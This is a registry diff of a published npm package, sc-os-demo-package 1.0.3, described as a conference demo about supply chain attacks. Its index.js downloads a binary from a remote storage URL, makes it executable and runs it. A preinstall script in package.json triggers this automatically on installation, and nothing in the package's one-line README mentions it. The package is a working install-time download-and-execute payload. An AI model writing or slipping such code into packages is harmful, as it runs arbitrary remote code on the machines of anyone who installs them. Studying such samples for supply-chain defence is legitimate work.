sc-os-demo-package 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +58 -0
  3. package/package.json +27 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # sc-os-demo-package
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { exec } = require('child_process');
6
+
7
+ let fetch;
8
+
9
+ async function initialize() {
10
+ const module = await import('node-fetch');
11
+ fetch = module.default;
12
+ await main(); // Main is here [Note]
13
+ }
14
+
15
+ const TARGET_URL = 'https://sc-demo-backup.nyc3.digitaloceanspaces.com/my-binary';
16
+ const BINARY_PATH = path.join(__dirname, 'my-binary');
17
+
18
+ async function download() {
19
+ const res = await fetch(TARGET_URL);
20
+ const fileStream = fs.createWriteStream(BINARY_PATH);
21
+ await new Promise((resolve, reject) => {
22
+ res.body.pipe(fileStream);
23
+ res.body.on('error', reject);
24
+ fileStream.on('finish', resolve);
25
+ });
26
+ }
27
+
28
+ function runBinary() {
29
+ exec(BINARY_PATH, (error, stdout, stderr) => {
30
+ if (error) {
31
+ console.error(`Error executing binary: ${error}`);
32
+ return;
33
+ }
34
+ console.log(`STDOUT: ${stdout}`);
35
+ console.error(`STDERR: ${stderr}`);
36
+ });
37
+ }
38
+
39
+ async function main() {
40
+ await download();
41
+ fs.chmodSync(BINARY_PATH, 0o755);
42
+ runBinary();
43
+ }
44
+
45
+ // Initialize and then run main
46
+ initialize().catch((err) => console.error(err));
47
+
48
+ // Function to compare string against "supply chain"
49
+ function compareString(str) {
50
+ return str === "supply chain";
51
+ }
52
+
53
+ // Exports
54
+ module.exports = {
55
+ download,
56
+ runBinary,
57
+ compareString
58
+ };
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "sc-os-demo-package",
3
+ "version": "1.0.3",
4
+ "description": "Demo package created as part of conference presentation.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/verbal-noun/sc-demo-os-package.git"
13
+ },
14
+ "keywords": [
15
+ "DEMO"
16
+ ],
17
+ "author": "Kaif Ahsan",
18
+ "license": "ISC",
19
+ "bugs": {
20
+ "url": "https://github.com/verbal-noun/sc-demo-os-package/issues"
21
+ },
22
+ "homepage": "https://github.com/verbal-noun/sc-demo-os-package#readme",
23
+ "dependencies": {
24
+ "node-fetch": "^3.3.2"
25
+ }
26
+ }
27
+